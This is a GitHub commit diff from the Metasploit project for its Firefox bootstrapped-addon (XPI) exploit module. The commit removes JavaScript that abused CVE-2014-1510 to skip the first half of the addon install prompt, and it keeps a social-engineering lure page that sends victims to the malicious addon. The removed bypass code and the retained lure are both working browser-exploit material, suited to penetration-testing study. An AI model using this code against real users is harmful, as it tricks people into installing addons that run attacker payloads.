Skip to content

Commit 85b48fd

Browse files
committed
Land rapid7#3736 - Revert initial ff xpi prompt bypass for Firefox 22-27
2 parents f063dcf + f761718 commit 85b48fd

File tree

1 file changed

+6
-43
lines changed

1 file changed

+6
-43
lines changed

modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb

Lines changed: 6 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -28,18 +28,13 @@ def initialize( info = {} )
2828
be "bootstrapped". As the addon will execute the payload after
2929
each Firefox restart, an option can be given to automatically
3030
uninstall the addon once the payload has been executed.
31-
32-
On Firefox 22.0 - 27.0, CVE-2014-1510 allows us to skip the
33-
first half of the permissions prompt.
3431
},
3532
'License' => MSF_LICENSE,
3633
'Author' => [ 'mihi', 'joev' ],
3734
'References' =>
3835
[
3936
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
40-
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ],
41-
[ 'CVE', '2014-1510' ], # webidl chrome:// navigation to skip first half of prompt
42-
[ 'CVE', '2014-1511' ]
37+
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
4338
],
4439
'DisclosureDate' => 'Jun 27 2007'
4540
))
@@ -72,42 +67,10 @@ def on_request_uri(cli, request)
7267
end
7368

7469
def generate_html
75-
%Q|
76-
<html><head><title>Loading, Please Wait...</title></head>
77-
<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>
78-
<div style='visibility:hidden;width:1px;height:1px;'>
79-
<iframe name='f'></iframe>
80-
</div>
81-
<script>
82-
function install() {
83-
window.location.href="addon.xpi";
84-
}
85-
#{web_idl_navigation}
86-
</script>
87-
</body>
88-
</html>
89-
|
90-
end
91-
92-
# In firefox 21 - 27, there is a vulnerability that allows navigation to a chrome:// URL.
93-
# From there you can load the browser XUL, and inject a data URL into a nested frame.
94-
# If the data URL opens the .xpi URL, the first permission prompt gets skipped.
95-
def web_idl_navigation
96-
%Q|
97-
try {
98-
c = new mozRTCPeerConnection;
99-
c.createOffer(function(){},function(){window.rr=window.open('chrome://browser/content/browser.xul', 'f')});
100-
setTimeout(function(){
101-
try {
102-
frames[0].frames[1].location="data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
103-
"{},function(){window.open('#{get_uri.chomp('/')}/addon.xpi', '_self');});<\\/script>";
104-
} catch(e) {
105-
install();
106-
}
107-
},600);
108-
} catch(e) {
109-
install();
110-
}
111-
|
70+
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
71+
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
72+
html << %Q|<script>window.location.href="addon.xpi";</script>\n|
73+
html << %Q|</body></html>|
74+
return html
11275
end
11376
end

0 commit comments

Comments
 (0)